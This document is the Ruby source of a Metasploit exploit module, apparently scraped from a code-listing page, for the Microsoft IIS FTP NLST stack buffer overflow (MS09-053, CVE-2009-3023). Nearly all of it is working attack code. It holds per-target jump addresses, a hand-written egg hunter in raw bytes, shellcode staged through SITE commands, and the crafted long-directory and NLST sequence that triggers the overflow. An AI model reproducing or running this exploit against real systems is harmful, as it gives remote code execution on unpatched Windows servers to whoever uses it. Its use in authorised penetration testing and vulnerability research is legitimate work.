1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 |
## # $Id: ms09_053_ftpd_nlst.rb 11003 2010-11-12 06:19:49Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS FTP Server NLST Response Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP service. The flaw is triggered when a special NLST argument is passed while the session has changed into a long directory path. For this exploit to work, the FTP server must be configured to allow write access to the file system (either anonymously or in conjunction with a real account) }, 'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11003 $', 'References' => [ ['URL', 'http://milw0rm.com/exploits/9541'], ['CVE', '2009-3023'], ['OSVDB', '57589'], ['BID', '36189'], ['MSB', 'MS09-053'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 490, 'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b", # This is for the stored payload, the real BadChar list for file paths is: # \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c 'StackAdjustment' => -3500, }, 'Platform' => [ 'win' ], 'Targets'=> [ [ 'Windows 2000 SP4 English/Italian (IIS 5.0)', { 'Ret'=> 0x773d24eb,# jmp esp in activeds.dll (English / 5.0.2195.6601) 'Patch'=> 0x7ffd7ffd # works for off-by-two alignment }, ], [ 'Windows 2000 SP3 English (IIS 5.0)', { 'Ret'=> 0x77e42ed8,# jmp esp in user32.dll (English / 5.0.2195.7032) 'Patch'=> 0x7ffd7ffd # works for off-by-two alignment }, ], [ # target from TomokiSanaki 'Windows 2000 SP0-SP3 Japanese (IIS 5.0)', { 'Ret'=> 0x774fa593,# jmp esp in ?? (Japanese) 'Patch'=> 0x7ffd7ffd # works for off-by-two alignment }, ], ], 'DisclosureDate' => 'Aug 31 2009', 'DefaultTarget' => 0)) register_options([Opt::RPORT(21),], self.class) end def exploit connect_login based = rand_text_alpha_upper(10) res = send_cmd( ['MKD', based ], true ) print_status(res.strip) if (res !~ /directory created/) print_error("The root directory of the FTP server is not writeable") disconnect return end res = send_cmd( ['CWD', based ], true ) print_status(res.strip) egg = rand_text_alpha_upper(4) hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0" # This egg hunter is necessary because of the huge set of restricted characters for directory names # The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter # The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order # to locate the real shellcode. The only change from the original hunter was to randomize the # prefix used. # Store our real shellcode on the stack 1.upto(5) do res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true ) end # Create the directory path that will be used in the overflow pre = rand_text_alpha_upper(3)# esp+0x28 points here pst = rand_text_alpha_upper(210)# limited by max path pst[0, hun.length]= hun # egg hunter pst[ 90,4]= [target['Patch']].pack('V') # patch smashed pointers pst[ 94,4]= [target['Patch']].pack('V') # patch smashed pointers pst[140, 32]= [target['Patch']].pack('V') * 8# patch smashed pointers pst[158,4]= [target.ret].pack("V")# return pst[182,5]= "\xe9" + [-410].pack("V") # jmp back # Escape each 0xff with another 0xff for FTP pst = pst.gsub("\xff", "\xff\xff") print_status("Creating long directory...") res = send_cmd( ['MKD', pre+pst ], true ) print_status(res.strip) srv = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' =>0, 'SSL' => false, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, } ) add_socket(srv) begin thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept } prt = srv.getsockname[2] prt1= prt / 256 prt2= prt % 256 addr= Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}" res = send_cmd( ['PORT', addr ], true ) print_status(res.strip) print_status("Trying target #{target.name}...") res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true ) print_status(res.strip) if res select(nil,nil,nil,2) handler disconnect ensure thr.kill srv.close end end end |